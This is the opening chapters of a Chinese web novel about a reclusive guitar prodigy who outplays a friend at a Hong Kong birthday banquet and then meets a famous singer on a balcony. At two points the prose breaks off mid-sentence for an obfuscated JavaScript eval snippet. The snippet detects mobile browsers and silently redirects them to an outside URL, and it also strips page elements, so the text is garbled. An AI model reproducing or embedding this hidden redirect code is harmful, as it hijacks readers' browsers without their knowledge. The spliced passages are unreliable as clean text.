《被港岛Mommy捡回家后》 1. 天才 入夜的中环,是一首不填休止符的夜曲。 霓虹灯管里,流淌着港岛纸醉金迷的血。 港丽酒店这夜又是灯火通明,太古厅内正举办曲家独女的生日宴兼留学送别宴。 这倒也符合寿星一贯做派:要么不摆谱,要摆就摆大的。 柳序礼随人流进场时,正拉着装吉他的碳纤维箱。 她穿着低调,礼服是哑光的连体裤裙,版型宽松,肩线利落平直,几乎没任何饰品。 垂感十足的布料随长腿行时款款生风,面料密到发雾,远看是简简单单一身黑,近看才知是顶奢定制。 也就不怪门口的侍应误以为她是晚宴乐团迟到的琴手,二话不说要把人往舞台边引。 柳序礼正欲解释,不待开口,先听见熟悉的女声呼唤: “柳絮!” 是曲悠悠的声音。 还是周旋于香衣云鬓间的寿星看见了她,及时解围,才免一出她被当成工作人员的闹剧。 曲悠悠从宾客的簇拥中挤出来,瞥见柳序礼手中琴箱,惊喜道: “哇,你真带琴来了?” 柳序礼闻言,神色冷沉,却点点头。 曲悠悠笑意更深,双手合十欢欣道:“谢谢柳絮!你对我真好!” “嗯……”柳序礼不太适应这种热情似的,想了会儿才反问,“不是你说要合奏的?” “虽然是我先说要的,”曲悠悠与她同窗四年,早知道这人调性,直白道,“但如果别人也请你合奏作为生日礼物,你也会轻易答应吗?” 柳序礼想了想,摇头。 曲悠悠笑道:“所以啊,这就是为什么我会说,‘你对我真好’!” 柳序礼这才没再说话,算是默认。 就在这时,宾客中有位着一字领粉裙的年轻女子走来,偎着曲悠悠胳膊,甜甜唤人“悠悠”。 柳序礼见二人关系亲密,猜想这位小姐多半是曲悠悠的玩伴。 柳序礼不喜闹,通常不参加曲悠悠组织的玩乐活动,所以对方的交际圈,于她而言全然陌生。 着一字领的林小姐也没见过柳序礼,好奇朝这边打量,见柳序礼今日打扮出奇简单,称不上盛装出席: 粉黛未施,黑长直发披散,线条凛厉如刀,额前刘海顺垂,堪堪过眉,乌发阴影投落面上,衬得肤色愈发冷白。 让林小姐没由来想起富江的传说,因其拒人千里的气质产生恐慌畏惧,随后又察觉正被不自量力地吸引,想窥探这稀世罕见气质之下的秘密。 “悠悠,这位……”林小姐虽在唤曲悠悠,目光却黏在柳序礼身上打量,声音愈甜腻,“……是你在ins上说的那位‘神秘嘉宾’吗?” 神秘嘉宾的事,柳序礼也略有所闻。曲悠悠已经在ins上预热了整整一周。 不过,柳序礼也不知道这位嘉宾会是谁。 她没问曲悠悠,因为不好奇。 以曲悠悠追星的爱好判断,多有可能是娱乐圈的哪位明星,而她对现有绝大多数明星都没兴趣。 曲悠悠对林小姐解释,“当然不是。神秘嘉宾另有其人,绝对大名鼎鼎,保证无人不知!至于这位……” 曲悠悠看向柳序礼,介绍,“是我在伯克利的同学,全能音乐天才!今夜会专程为我表演庆生,你们可有耳福啦!” 林小姐闻言,打量的目光稍显惊讶,随即笑着朝柳序礼伸手: “很高兴认识你。” 柳序礼一动没动,片刻问: “为什么高兴?” “……嗯?”林小姐愣住。 柳序礼细细琢磨,她今夜与这林小姐初见,尚未发生什么值得对方愉悦的互动。看来对方这么说,多半就是曲悠悠曾教过她的…… 人际往来的社交辞令。 不待柳序礼再开口,曲悠悠想起在伯克利第一次与这憨憨打招呼,说“很高兴认识你”,却被对方反怼一句,“你高兴得太早了”。 那经历太过诡异,以至于曲悠悠至今都难以忘怀。 眼下生怕柳序礼再语出惊人,曲悠悠忙挽着林小姐的手要把人带走,临别前让柳序礼随意找个地方调琴,一会儿再见。 这也正合柳序礼的意。出发前她虽调过一次吉他,但放包里后难免摩擦,琴弦总归会有些许失校。一般琴手可能无所谓,但柳序礼耳朵尖,接受不了半分瑕疵。 她环视四周,见舞台正中停着台施坦威的三角钢琴,料想寿星一会儿应该就在它身上演奏,于是在附近找了处短阶,就地一坐。 舞台边的乐团刚演奏完一支华尔兹,正中场休息,成员们视线短暂往阶上的少女扫过,便不甚在意转开。 直到,琴箱被平放在地,锁扣被拨开,箱盖弹起的瞬间,琴颈上那圈玫瑰木的虎皮纹在灯下泛起夺目流光。 未被拨弹的乐器无声叫嚣,众乐手如见顶级美人,皆齐齐朝它看来—— 这是一把定制Goodall定制,云杉面板配夏威夷相思木背侧,琴头镶嵌鲍鱼贝的花体缩写。 这琴是柳序礼初入学伯克利时,特地到夏威夷选购的。奈何顶级制琴师大都古怪,执意说“这把琴有自己的脾气,无人能驯服”,不卖给她。 柳序礼当时没说话,只是坐下来弹了一段《阿斯图里亚斯传奇》。弹完最后一个音,老制琴师沉默良久,终于笑道:“好吧,它归你了。” 于是这把琴陪了她在伯克利的四年,直至今日。 此刻,柳序礼把琴抱在怀里,未夹调音器,只指尖搭上琴弦,轻轻拨了拨。 她以肉耳听,逐一确认音准无误,港岛潮湿的海风没影响云杉的共振。 因专注拨弹,柳序礼没注意到身边,刚才那位林小姐又缓缓行来。 林小姐没冒昧靠近,只先在乐团边佯装好奇地闲聊。 有位大提琴手清楚这场晚宴上的宾客个个来头不小,又见林小姐容貌清丽,自有谄媚之意,主动问她要不要摸摸琴。 林小姐配合着撩了两下弦,却醉翁之意不在酒,余光直往稍远处拨吉他的少女身上飘。 那大提琴手见状悻悻,也就不再讨没趣。 林小姐半晌才朝目标走去,笑意盈盈: “你在弹什么?真好听。” 有一段没一段拨着即兴旋律的柳序礼全神贯注,没听见旁边人的搭话。 旋律间隙,柳序礼稍停,冷不丁见一只白皙的手探来,似要碰琴,惊得一激灵,本能将那只手拂开。 啪。 因着急,动作稍显粗鲁。 林小姐白皙的皮肤一下红了,捂着手,红色漫到脸上,有点羞,也有点恼。 她确实存了撩拨的心思,也自知此举多少有点不妥。但一寸错一寸罚,再怎么说,她也不至于挨这么一下打。 “你!”林小姐皱眉。 “你干嘛。”柳序礼沉声问。 林小姐气势被反问弱三分,有点忌惮,“我……对不起嘛……我只是……好奇……” “好奇可以看。别动。”柳序礼面无表情,神色显出些不近人情。 “什么态度?一把琴再贵能有多贵?”林小姐一听更恼,“我还赔不起了?” “……” 柳序礼没说话,她确实会用“贵重”形容这把琴,而非单纯“昂贵”,当然是因为它的价值不仅仅在价标上。 今天是曲悠悠生日宴,眼前是曲悠悠朋友,加上吉他没有大碍,柳序礼不打算和对方纠缠,闹得场面难堪。 林小姐碰了一鼻子灰,气呼呼地走了。 回到曲悠悠身边时,恰好几人又在聊宴会上那位气质格外出众、抓人眼球的黑长直少女,正问寿星那位是什么来头。 曲悠悠解释,那是港岛永裕堂柳氏现任当家,柳守拙的小女儿,这还是其次。最重要的是,柳序礼本人是伯克利音乐学院破格15岁就录取的全奖天才。 “我还记得刚入学时,有个音乐世家的学长听说她传闻,来找她斗琴,她没应战,说是没挑战性!” 听着逸闻的宾客们或惊呼或嬉笑。 曲悠悠继续道:“学长激将,说她是怯场。她很认真想了好久,才说……咳咳。”曲悠悠装腔作势模仿人家语气,“‘我查过了,目前在校学生,没一个是我对手。’” 轻松笑声中,唯一声嘲讽格外刺耳。 “呵。”林小姐轻蔑道,“扮晒嘢。” “……啊?” 林小姐这才勉强对错愕的曲悠悠一笑,“不是说你。说她。” “……她没在扮……”曲悠悠有点尴尬,也因林小姐这一驳失了兴致,只好苍白地补一句,“其实她说的是事实啦。……嗯……你一会儿就知道了!” 气氛短暂的凝滞,转瞬被乐团再起的圆舞曲柔化,为奢华的晚宴再添几笔靡靡。 转眼,便到今夜重头戏,寿星与友人以钢琴和吉他合奏的一曲,《自由探戈》。 聚光灯分别打在舞台两侧,落在钢琴前端坐的白纱礼裙,与高脚凳边抱着吉他屈膝倚坐的雾黑长裤上。 周遭宾客皆不由屏息,为台上两个年轻人隐隐担心。 富家千金拥有一眼便知昂贵的钢琴与吉他,并非圈中罕事。然而,多数锦衣玉食的绣花枕头,技艺是撑不起场面的。 于是乐器越是精巧,越反衬物主的拙稚。 幸而这是名流的夜宴,不会有人当众揭穿大小姐们的生疏,淡淡的批判只会不露痕迹着陆于看客的心头。 不过,今夜或许并非如此。 台下已有隐于人群的挑剔审视,已经做好当众为难的准备。 合奏开始,先是钢琴的引入。 琴音敲着成熟收敛的低音,准确无误,几乎听不出明显瑕疵,一出声就镇场,让台下忍不住称奇,感叹曲悠悠海外留学,“并未虚度”,“琴技了得”。 接着便是吉他的强势加入。 扫弦与爬阶嘈嘈切切错杂弹,密密交织,却又恣意自然,灵动弦声织在钢琴铺底的和弦之上。 本交头接耳的人群瞬间噤声。 弦音清澈凌厉,带着不容置疑的锋锐。 激情、张力,自技巧拉满的翻飞指头下拨弹而出,叫所有人瞠目,原来气质冰霜般的女子,也能弹出如此热烈浪漫的探戈。 与钢琴音两相比较,再外行的听众也能分得清,何为精准无误的拘谨,何为游刃有余的玩弄。 曲悠悠是优秀的学生,依谱照做就完美无憾,不出纰漏便值得嘉奖。 但柳序礼是大师。 大师的演奏会让端着酒杯的人空张着嘴,会让挂笑的人表情僵住。 会让再挑剔的耳朵,如林小姐,也会忍不住在一曲合奏结束时,忘我地鼓掌喝彩。 直到听到有人吹口哨,有人喊“Encore”,林小姐才如梦初醒,在听到旁人啧啧称奇时,嘟哝一句: “到底谁才是寿星,这人怎么在别人生日宴上出尽风头。” 也只能从这角度切入,而非锐评技巧。 毕竟林小姐算是理解了,曲悠悠方才为何说,在外人听着狂妄自大的“无敌”,其实是事实。 不过台上的寿星本人似乎不觉自己风头被抢,还因自己能成功“跟得上”天才的琴声而沾沾自喜,面色愈发红润。 听到台下听众欲罢不能地喊“安可”,曲悠悠没擅自做主,先往柳序礼那边看,试探意思。 柳序礼面色无澜,云淡风轻地一抬手,示意以寿星意愿优先。 “那我就再献丑一段!”曲悠悠于是道,“和我的友人斗个琴!” 台下当即传出喝彩声。 若说合奏是谐和的安魂曲,那么斗琴便是叫人血脉贲张的战曲。 为了生日宴,曲悠悠早有准备,加练过多支高难炸场曲,单说预备这一点,她其实较柳序礼有优势。 但这点优势微不足道,很快被天资残忍碾压抹平。 从古典的《拉赫玛尼诺夫前奏曲》和《大霍塔舞曲》,到炫技的《钟》和《阿斯图里亚斯传奇》,再到故事性的《月光》和《阿尔罕布拉宫的回忆》…… 两人从初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554378|204413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先的优雅,到渐入佳境的沉迷。 台下听众听得越多,越能分清二人的差距,却反而在此时不再感叹柳序礼的天赋,而是不由自主为曲悠悠捏一把汗。 出于人类普遍的共情,对弱者的同情,对庸才的代入。 柳序礼不是他们能肖想的境界,而曲悠悠恰相反。她是凡人所能达到的极致,是他们寄予厚望的代表。 可惜,曲悠悠没能不负众望。 身体的机能终究有限,几支曲子下来,曲悠悠终于还是手指脱力,指节不受控地颤着。 她本弹得正欢,额角渗着兴奋的汗,虽意犹未尽,奈何心有余力不足,终究遗憾收了手。 台下听众们因而稍稍叹惋,但遗憾转瞬即逝,毕竟无人意外这胜负结果。 曲悠悠却不遗憾,只静坐着,专注看舞台另一端的柳序礼。 眼前少女不仅乐理天赋非凡,老天偏爱,连身体机能也要多分给她,几番打板、击弦,柳序礼依旧手指很稳,不带颤抖,动作精准,发挥正常。 或许注意到她这边偃旗息鼓,那边柳序礼也见好就收,没再炫技,而是即兴弹了段舒缓的旋律。 曲悠悠能听出是即兴,是因曲段间虽过渡柔和,外行人听不出差异,但她熟悉柳序礼,知道对方创作会围绕主题雕琢,不会像现在听着这么随性。 只是兴致使然,临时发挥,就已经这么好听了。 【很高兴认识你。】 【你高兴得太早了。】 曲悠悠复又想起与柳序礼初见时的这段对话。 那时她还只当是柳序礼玩抽象,或者天生人机感。然而相处之后,她才明白,那其实出于柳序礼的真诚,是一种预告。 毕竟,自开学后,在伯克利当同窗的四年,曲悠悠确实一直笼罩在柳序礼的天才阴影之下。 无论如何努力,无论如何拼命,只要各大赛事名单上出现柳序礼的名字,其余参赛选手的名字便黯然失色,无法超越。 那些年曲悠悠想过,柳序礼是怎么知道自己会成为庸才们的噩梦的呢? 她很快想明白,小学、中学、大学,在校,或学琴,只要柳序礼有过与人同学的经历,就一定有人与她说过类似的话。 所以柳序礼才会有这种自知之明。 吉他泛音颤止,台下掌声如潮。 曲悠悠这才从旧事中醒转,随众人一同鼓掌,起身朝柳序礼还以笑容。 柳序礼站起身,只抱着琴,没有鞠躬,朝曲悠悠点头示意,就转身走下舞台,连同听众的谢幕都没做。 台下习以为常的听众们先是因预期违背一怔,随后却又因天才以稀为贵的个性而欢呼,喝彩声更甚。 人群中,林小姐表情震撼又不甘,纵然古怪,却也哑口无言。 在寿星生辰宴上抢风头的行为是要挨骂的。 但来自顶级天才的馈赠不会。 曲悠悠望着柳序礼自若将吉他收进琴箱的背影,庆幸自己比伯克利多数校友都清醒得更早,才不会错过这位朋友—— 输是丢脸的。 但输给天才则是殊荣。 甚至会转为大众对其结识天才的羡慕。 至少也算是沾了天才的光。 * 凉台上的夜风带着潮意,维港海面被霓虹染了层流金。 柳序礼从琴箱中取了耳机扣在头顶,隔了身后宴会厅的嘈杂,将视线随意投落眼前海景粼动的金色。 方才在台上沉浸于音乐时,她精神亢奋,如今曲终人未散,她却已然兴致黯淡。 途经看过表演的几名宾客对她赞不绝口,她也只习以为常地颔首回应,没什么情绪波动。 “小姨你怎么还没到,不是说来当我神秘嘉宾……” 曲悠悠咋咋呼呼的声线在背后响起,柳序礼转身,掀起困顿眼皮投去一眼,见曲悠悠举着手机在通话,才确认,人家那声“小姨”不是喊自己。 曲悠悠大抵没料到柳序礼会躲在这里,抱歉抬手致意,端着手机继续嗔怪,关了凉台玻璃门寻另静处,把这片清净还给柳序礼。 “……到了?在哪……要不要……接你……” 曲悠悠的尾音被海风吹散,捕捉不清。 柳序礼猜是所谓的神秘嘉宾要到了,不过她不在乎,也不会因嘉宾到场特地回厅中凑热闹。 柳序礼从来如此,对万事万物都少点兴趣,除了对音乐。 此刻音乐播放器正随机播放流行榜单,柳序礼意兴阑珊地听。 她并非只热衷阳春白雪,流行歌她也是听的,不想失去对潮流的感知。 这使她不褪敏锐,能明显捕捉某些曲子看似新颖,实则又套被用烂的经典和弦;能明显捕捉某些曲子歌词虽烂,但编曲带年轻锐气,这时她会特地看那编曲人的名字一眼。 至于能不能记住,随缘。能被记住也是编曲的实力,譬如写得惊艳的曲子够多,她多看到几次,早晚会记住。 可惜,今天这歌单,质量不算高。 柳序礼接连听了快十首,反而越听越烦躁,到一首堪称喊麦的rap时她甚至直接切歌,进下一首。 好在这首不吵,前奏只有简单钢琴和弦,干净得像港岛难见的初雪,让柳序礼舒心松气,因而专注些。 然后,一个女声进来了。唱着英文词。 【Canyouloveme?】 那女声像被蜜糖浸过的丝绒,柔软,却兼具韧度。 英音咬字发懒,尾音却上扬,像细小的钩子,勾住听者的耳膜,随心所欲地拉拽。 柳序礼本都昏昏欲睡,听到这惊艳歌声,陡然清醒了。 不是陌生的音色。 一如某些眼熟的编曲名字是因她看的次数多,这位女声惊艳她的次数也多,以至于此刻尚未看到歌手名字,那行猜测已浮现在柳序礼脑中。 不意外。 果然是那个人。 柳序礼看到,手机屏上“歌手名”,与她脑中猜想的名字重叠—— 【Nyssa段念辞】 2. 嘉宾 又是她。 柳序礼不追星,大学时常年居海外,对国内娱乐圈当前格局变化一无所知。饶是如此,她也在各种场合多多少少听过见过这个名字: 段念辞。 或是在摩天大楼巨屏投放的代言上,或是在街头巷尾路人哼唱后的感叹里…… 或是一如此刻,在无心点进某个随机歌单,不经意被音色惊艳,定睛时不意外确认,又是这位歌手时。 【Canyouloveme? Throughthejoyandthroughthepain】 躁动不安的港夜,被女人缱绻的蜜嗓抚平。 浮于浅表的慵懒唱腔是冰镇的糖衣,雪一般清透。寻常耳朵只会品到这一层甜蜜,被麻痹,陷进去。 只不过,柳序礼有一双清醒的耳朵。 清楚剖析糖衣被舔舐殆尽之后,其下铺底的金属质音色。正是这柄骨一样的矜贵与高傲,才叫这人的声音如此动人,区别于所谓“靡靡之音”。 一曲听完,切进下一首。 新歌刚入耳就知是拙劣工业产物的前奏,让柳序礼刚消下去的燥意又返上来。 没听两秒。她又把歌切回上一首,段念辞那首。 【Canyouloveme? Whentheworldetsmyname】 柳序礼托腮听,有些入迷,神思游离。 回神时,手中竟多一杯香槟,不知是她何时拦了路过的酒保讨来的,此时已被饮下小半。 被湿凉海风染过的酒意,经由耳机中撩拨神经的情歌升温,让柳序礼竟觉不胜酒力。 如梦似幻,有些飘飘然。 这遍听完,又进下曲,柳序礼再把歌切回来,干脆点了单曲循环。 【Canyouloveme? Withallmyflawsandallmyscars】 听了多遍,加之酒精助燃,天才骨子里的傲慢便星火燎原。 这歌写的还是不行。太束手束脚。 柳序礼又饮一口酒,心下辛辣地点评。 被多数歌迷奉为“歌后慵懒氛围神曲”,此刻竟叫挑剔的耳朵听出了拘谨—— 给这首歌编曲的,多半是忌惮于演绎者的身份名声,小心翼翼,生怕犯错,写得太工整。 音域全设计在这位歌手的舒适区,充分发挥了歌手音色的优质,叫人诠释得游刃有余、性感慵懒。 算是在商业上交出了标准答卷,但在柳序礼这里只能给及格分。 柳序礼想,这歌完全浪费了段念辞的好嗓子。 如果叫她来写,她定要好好“为难”一下段念辞。 要以高难的技巧,拉扯这把延展度极佳的嗓子。 看看这嗓子能不能被她打磨得更惊人,看看这歌手能不能接得下她的“不敬”—— 让段念辞于尖锐处婉转到战栗,牵绕听者神经。 让段念辞于低沉处叹息到湿润,纵容听者欲望。 当下这首歌呈现的尽在掌握的慵懒,叫作伎俩。 在柳序礼看来,濒临失控的本能,才叫性感。 【Acrossthedistance,throughthestars…】 酒精上头,柳序礼眼前的海景迷离,竟依稀幻化出一个女人的轮廓。 她眯着眼试图打量,想看清那是不是段念辞的脸,又不敢确定。 或许造物主公平,给她敏锐的听力,便留给她迟钝的视力。她在记人方面,多少沾点脸盲。 刚回国那几日,柳序礼被曲悠悠硬拉出门透气,到尖沙咀逛街,在奢侈品店被这位代言的海报吸引,顺嘴夸了句,“这位是谁,好靓。” 当时她还被曲悠悠诧异盯着看,反问:“你居然不认识顶流歌后吗?这位是段念辞!” 原来随机歌单里惊艳过她好几次的段念辞,长这样。她能听得出是她,却看不出是她。 曲悠悠在店订货到爽,带柳序礼转战弥敦道。走进霓虹夜景时,柳序礼看到巨屏投放的广告视频,其上动态美人笑意绵绵,她盯着看了会儿,说,“这位也好靓。” 曲悠悠:“……这位也是段念辞。” 段念辞长什么样来着? 结果夸过几次,柳序礼还是没记住人家的样貌。 柳序礼眯眼看眼前粼粼海面,回忆不起来,干脆想象—— 气息如此稳,音色如此油润,多半不是干巴巴的细瘦体型,或许是有点丰腴的? 咬字吐息如此准确,齿位应该很标准,笑起来唇红齿白,很是耀眼。 笑颜好看,眼型自是关键,弯起来或许是含情绵绵的月牙。 要穿什么衣服呢?当然是明艳的正红。 暖白肤色最适合穿红,将皮肉下隐约的血气衬托出来,才好勾看客沸腾的血。 综上所述。是这般容颜的一个人。 柳序礼困顿地眨眨眼,觉得自己好像醉得不轻。 怎么维港海面上她臆想的女人,居然忽近忽远,正向她走来。 柳序礼摇头,甩掉幻觉,她不再敢看海,怕醉后的自己被幻象勾引,越了护栏就要去寻那海市蜃楼,次日便会登报,标题就是《柳氏幺女归国堕海为哪般》。 她捻着酒杯,正欲回宴客厅,转身恰见,凉台边通道的走廊上,有个身影正缓缓走来—— 是她醉后的臆想,那幻想中的艳鬼,好像蓄意要勾她魂,不依不饶,从海面上,缠到走廊里。 越是喝醉的人,可越不能跟着幻想走,容易出人命。 柳序礼拧着眉头,有点敌意,有点戒备,看着面前越走越近的女人。 越近,那幻象越清晰,她本望向海面看不清的投影,如今细节丰富,竟与真实无异—— 着正红的晚礼服,修裁贴身,勾勒那珠圆玉润的腰身,裙摆设计如上扬的花蕊,随女人行走时婀娜摇曳。 一头卷发打着完满的波浪,大线条恰衬这人秾丽的浓颜。笑时一如她所想,眼弯若月,齿白如贝,唇朱胜血。 幻想中的女人在柳序礼面前站定。 馨香缓缓渗透,是深海调的馥郁香,竟真似海妖,来诱她前往海底秘境,此后死生莫问。 “……哈。”柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554379|204413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序礼叹了口气。 她察觉,明知眼前是幻觉,明知自己已喝醉,可面前的幻象毕竟是她自己凭心捏造的。 里头掺了多少私心,柳序礼不好说。 既然是符合她审美的、她为自己塑造的完璧美人…… 她再怎么想警觉,又能真戒备到哪里去呢。 【Acrossthedistance,throughthestars…】 歌不知重复第多少次,又进了副歌的autro。 柳序礼听着耳机里的女声,看到眼前女人恰到好处启唇,在与她说话。 她犹疑,依稀察觉,女人的口型,似乎与耳机里的对不上。 柳序礼便抬手,摘下耳机,罩子里的单元还在振动发声,将最后一句歌词,送入二人相视间的夜风里—— 【…Canyouloveme?】 女人本笑着的眼睛凝住,眸子往下稍沉,看了眼少女手中耳机,多半也是听见了这句词。 随即,笑眼再度弯转,女人抬眸上来,看着柳序礼,启唇: “在听我的歌?” 音色与耳机中,方才柳序礼循环播放数遍的歌声,完全一致。 浮着撩拨,沉着矜高。 让柳序礼一时头晕目眩,不知接连的两句,到底哪一句,是眼前人正对自己说的话。 见柳序礼没答话,女人这才笑着解释,方才搭话,是想问路,参加宴会还迟到,不敢走正门,怕太轰动。 柳序礼沉默地听着,没回话,心想,不愧是我的幻觉,挺有逻辑,竟没胡言乱语。 女人见状,又看眼她耳机,轻声说: “总之,谢谢你喜欢我的歌。” 喜欢? 柳序礼闻言蹙眉,心想,就这水平的编曲,谈何喜欢?毕竟是自己的幻象,柳序礼便也不留情面,直白道: “不喜欢。随机播放的。” 面前女人闻言一怔,像听到预料外的回答。 两人对视一眼,气氛尴尬,一时无话。 就在此时,耳机再度振动,是一曲毕了,下曲接上。 然而前奏熟悉,让两人都神色一僵—— 依旧是刚才那首歌。 那首柳序礼口口声声不喜欢,却显然在单曲循环的歌。 “……” “……” 柳序礼只见,眼前女人笑意更深。 让她有点脸热,酒精更上头,于是急匆匆却苍白地辩解: “真是随机播放的。我不追星。” 女人但笑不语,笑眼愈弯。 柳序礼正欲再说什么,却被旁边推门的声响打断,她转头,见曲悠悠一脸惊喜地看向这边。 她松口气,心想,有人来找,吸引她注意,顺带盯着她,总不至于再被幻想骗着跳海吧。 “你怎么在这儿啊!找你好久……”曲悠悠提高音量。 柳序礼一怔,刚要回“你不是知道我在这儿吗”时…… 就见曲悠悠冲着柳序礼对面的女人脆生生喊了句: “……小姨!” 柳序礼:“……” 3. 知音 原来,这位“海妖艳鬼”,并非仅柳序礼可见。 柳序礼眼睁睁看着曲悠悠欣喜凑过来,撒娇地撇着嘴,嗔怪小姨迟到,随后挽着那红裙女人的胳膊,欲往厅中引。 转身前,曲悠悠匆忙问了柳序礼一句,柳絮不一起来吗? 柳序礼摇头,她本就没打算凑嘉宾到场的热闹,太吵。 曲悠悠没勉强,赶忙带重磅嘉宾进了宴会厅。 厅中宾客早翘首以盼,在女人进门时,默契爆发出骇浪般的掌声,连个中最在意所谓尊卑有序的名流巨贾,都主动阖掌以示对女人的欢迎。 柳序礼站在原地,站在喧嚣之外。 却突然清醒。 万众正以掌声与喝彩闹醒她,让她惊觉,与段念辞的初会,并非一场虚妄的梦。 心跳逐渐加快。 回忆起方才二人的互动,难堪、尴尬、梦幻,复杂情绪让柳序礼有点难以自处。 她静静注视人群中段念辞的背影,那抹婀娜的红在裙袂华丽的人群中,依旧不减半分明艳。 那人欣欣然笑,明眸皓齿勾人挪不开视线。推拒不了众人难却盛情,于是段念辞还是上台,稍稍为外甥女致辞几句。 柔中藏直的声线,通过话筒,撩人耳朵。 柳序礼只觉耳廓隐隐发痒。 “多謝大家喺百忙之中,抽時間嚟到悠悠嘅生日宴。” 那人如是说。 美貌与蜜嗓,惊起台下人群窃窃私语的评议,成了女人高清音质旁令人不快的噪点。 柳序礼拧眉,注意偏转,勉强听见台下众议中的几个关键词: 港岛。红玫瑰。 引柳序礼无声嗤笑。 不过又是外界对明艳印象最庸俗不过的评价罢了。 红玫瑰喻美人,没有新意。 柳序礼重新望向台上,见段念辞致辞已毕,颔首微笑致意全场。视线迅速扫过全场,没在任何一人身上驻足。 唯独没往厅外独立的柳序礼这儿落,那万众瞩目之人的目光,没在柳序礼面上经过。 柳序礼呼吸错序,有点烦躁。 台下是平等求神女垂怜的芸芸众生,只柳序礼被排除在外。 不过柳序礼不会自惭形秽,她不是那样的个性。神女看不见她,她只会觉得神女没品。 柳序礼正欲垂眸,要把杯中酒饮尽,抬手,香槟酒气刚到鼻尖,眼皮便隐隐一热。 她本能抬眼。 就沉入正下台阶时段念辞,锁定过来的眸海。 很快,也很准的一眼。 段念辞收眼,转而去看别人,又是言笑晏晏游刃有余的模样。 方才与柳序礼对视的一眼,如海上巨浪,倾涛覆灭过来,转瞬又褪去,消散无影踪。 只有被浪潮裹进深海毙命的少女,才知道始末。 让柳序礼堪堪消停的心跳再度狂躁。 她不由想起方才醉酒对话时,几度把对方当成索魂幻想的感受。 关于死与生的体验,最易刺激心跳,可心跳一旦加快,又会让人很容易混淆它的缘由。 柳序礼深吸一口气,抬手饮毕杯中酒。 不是红玫瑰。 她想。 她不会用这种花描述段念辞。 她会用曼珠沙华。 得见彼岸花,是过奈何桥。 当下已命殒,前方是新生。 * 几轮推杯换盏,环绕段念辞身边的宾客渐少。 稍远处的柳序礼终于有机会,越过摩肩接踵的人群缝隙,堪堪看见几分段念辞本人。 倒不是有什么窥伺癖。 柳序礼只是在琢磨,段念辞刚才,为什么要在凉台上,和她搭话。 出身名门,柳序礼没少见识名利场,自是不会天真相信,一名歌后迷路,不去问随处可见的酒保或侍应这类工作人员,而是来问戴着耳机显然生人勿近的她。 段念辞问她话,有目的,显而易见。 柳序礼在意的是,段念辞目的,是什么。 过往人生,她没少被搭讪,来人目的无非那几个:她的样貌,她的家世,或她的才华。 柳序礼心生些许侥幸,希望段念辞来搭话,是图她最后一个,而非前两样。 这样至少证明还有共同话题,证明那人更值得她高看。 身边有托盘侍应经过,柳序礼又接一杯酒,转眼就看到,那边段念辞正和一名富商握手,笑意盈盈。 柳序礼视线扫动,落在二人交握的双手,落在两人虚与委蛇的笑脸。而后她视线转开,悻悻落在手中酒上。 没意思。 原来,段念辞给她的,和给别人的,都是一样的。 她原本揣测段念辞目的,给“才华”那项压的注赔干净了。大概率如香江多数人对她“柳姓”的印象一样,在段念辞的比重中,前两项亦是大头。 “可惜。”柳序礼不知自己在惋叹什么,抿了口酒。 刚好过来的曲悠悠闻声,问:“可惜什么?” 柳序礼还沉浸在不知名的情绪里,脱口而出,“可惜,也不过是个庸俗凡人。” “……”曲悠悠沉默片刻,抬手,指自己,“我,我吗?” “嗯?” 柳序礼回神,这才注意,在搭自己茬的是曲悠悠。 而曲悠悠已经误会,气鼓鼓地嘟囔“我凡人又不是一天两天了,你才认识我吗”,一边要为自己正名并非“庸俗”。 音专生的审美battle最简单不过亮歌单,曲悠悠掏手机,给柳序礼看自己播放列表: “喏!这是我最近循环次数最多的歌!名品神曲!”说完,曲悠悠就要把手机抬起来,“不过柳絮你大概率没听过,所以你先听听,我不信你会觉得这首歌俗!” 柳序礼避了贴上来的手机,去看屏幕,就见软件中转着的黑胶唱片图样上,歌名赫然是《CanYouLoveMe》,歌手毫无悬念,Nyssa段念辞。 “……”柳序礼一哽,片刻才说,“听过。” 闻言,曲悠悠更惊讶,“柳絮你居然也会听流行歌?!” “……”柳序礼沉默半晌,“你好像把我当成某种不通人性的freak。” “我表现得很明显吗?”曲悠悠故意附和打趣她,随后话题绕回来,“这首歌可是很多专业乐评人都分析夸过的佳作!这总不俗了吧?” 柳序礼:“…………”又是漫长沉默。 曲悠悠:“好了你别说了我懂了。” 柳序礼其实想说,这首歌依旧“俗”。 但俗又不是问题,俗代表大众,又不代表烂。它是大众眼中的佳作,与它在柳序礼看来很俗,完全不冲突。 奈何柳序礼没法和曲悠悠解释,三言两语说不明白,曲悠悠也未必能听懂。 这种不解释,并非出于傲慢,而是经验之谈。 在伯克利求学时,柳序礼曾试图与友人分享过自己的音乐理念,曲悠悠很努力地听,但依旧不理解。有一次甚至认真同她确认,柳序礼是不是故意在用复杂的语言绕,好让曲悠悠听不懂。 几次龃龉聊开后,两人终于达成共识: 柳序礼不会再强求曲悠悠理解,曲悠悠也学会了不求甚解。 她们只要成为最好的朋友,这就够了。无需额外强求成为搭档,成为知音。 人终一生得一挚友,足矣。 至于知音,穷尽一生寻不得,也是常态。否则伯牙子期的故事便不会成为千古绝唱,流传甚广。 【Acrossthedistance,throughthestars Canyouloveme?】 手机里公放的乐声在偌大喧 